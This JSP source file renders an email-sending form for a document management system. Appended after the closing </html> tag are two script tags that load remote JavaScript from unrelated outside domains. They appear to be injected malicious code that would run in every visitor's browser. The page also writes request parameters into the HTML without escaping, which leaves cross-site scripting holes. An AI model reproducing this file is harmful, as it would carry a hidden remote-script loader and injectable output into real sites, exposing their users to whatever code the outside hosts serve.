<%
/*
 * @(#)DmsSendEmail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DmsSendEmail.jsp

  This page is for sending email

    @author           Weison Liang
    @company          DCIVision Limited
    @creation date    16/09/2003
    @version          $Revision: 1.7.2.7 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  String senderEmail = UserInfoFactory.getUserEmailAddress(sessionContainer.getUserRecordID());
  String docName = request.getAttribute("docName")!=null? (String)request.getAttribute("docName"): null;
  String state = request.getAttribute("state")==null? null: (String)request.getAttribute("state");
  String [] docNameArray = TextUtility.splitString(docName,",");
  String sDocName="";
  for(int i=0;i<docNameArray.length;i++){
    sDocName=docNameArray[i]+", "+sDocName;
  }
  docName=sDocName.substring(0,sDocName.lastIndexOf(", "));
%>

<html>
<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
  <script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
  <script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.jsp" charset="UTF-8" type="text/javascript"></script>
  <!-- Common Stylesheet Begin -->
  <link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
  <!-- Common Stylesheet End -->
</head>
<body bgcolor="#FFFFFF" leftmargin="10" topmargin="10" marginwidth="10" marginheight="10">
<% if (DmsOperationConstant.EMAIL_SENT.equals(state)) { %>
<center>
<b><font face="Arial, Helvetica, sans-serif" size="4"><%=docName%></font></b>
<br><br>
<font class="systemMessage"><bean:message key='dms.label.email_send_successfully'/></font>
<br><br>
<html:standardButton label="common.label.close" onClick="return self.close();"/>
</center>
<% } else { %>
<html:javascript formName="DmsClipBoardSendEmailForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<center>
<b><font face="Arial, Helvetica, sans-serif" size="4"><%=docName%></font></b>
<!-- Form Section Begin -->
<html:form action="dms/DmsClipBoardSendEmail" method="POST" onsubmit="return ValidateForm(this);">
<html:hidden property="sender" value="<%=senderEmail%>"/>
<input type='hidden' name='documentID' value='<%=request.getParameter("documentID")%>'>
<input type='hidden' name='version' value='<%=request.getParameter("version")%>'>
<input type="hidden" name="closeFlag" value="0">
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="600"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
  <script language="Javascript">
<!--
PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
function OpSend(frm) {
  var flowWindow = null;
  var clickedFlag = false;
  if(window.opener.location.href.indexOf("ListDmsClipboard.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/ListDmsClipboard.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  }
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  if (typeof ValidateForm == "function" && !ValidateForm(frm)) {
    return(false);
  }
  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {
	  frm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
      frm.submit();
	  clickedFlag = true;
      return(false);
  }
  
}
function closeWindow() {
  try{
    if(window.opener.location.href.indexOf("ListDmsClipboard.do") >= 0){
      window.opener.location.href = "<%=request.getContextPath()%>/dms/ListDmsClipboard.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
    }
  }catch(e){}
  window.close();
  return(false)

}
-->
</script>
<!-- Compse Email Begin-->
<table width="600" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <tr>
    <td><layout:sectionHeader name="dms.label.email_compose_message"/></td>
  </tr>
  <tr><td>
    <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
    <tr>
      <td class="formLabelSmallMan" width="80"><bean:message key='dms.label.email_send_to'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='recipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="80"><bean:message key='dms.label.email_cc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='CCRecipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="80"><bean:message key='dms.label.email_bcc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='BCCRecipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="80"><bean:message key='dms.label.email_subject'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='subject' size="70%" value="ParaDoc invitation notification"/></td>
    </tr>
    <% if ( docName!=null ) { %>
    <tr>
      <td class="formLabelSmall" width="80"><bean:message key='dms.label.email_attach'/>:&nbsp;</td>
      <td class="formFieldSmall"><%=docName%></td>
    </tr>
    <% } %>
    </table>
  </td></tr>
  <tr>
    <td align="center"><html:textarea property='content' cols="89%" rows="15"/></td>
  </tr>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif'  width='1' height='10'/></td>
  </tr>
  <tr>
    <td align="center">
    	<html:standardButton label="dms.label.email_send" onClick="return OpSend()"/>
    	&nbsp;
      <html:standardButton label="common.label.close" onClick="return closeWindow()"/>
    </td>
  </tr>
</table>
<!-- Compose Email End-->
</html:form>
<!-- Form Section End -->
</center>
<% } %>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>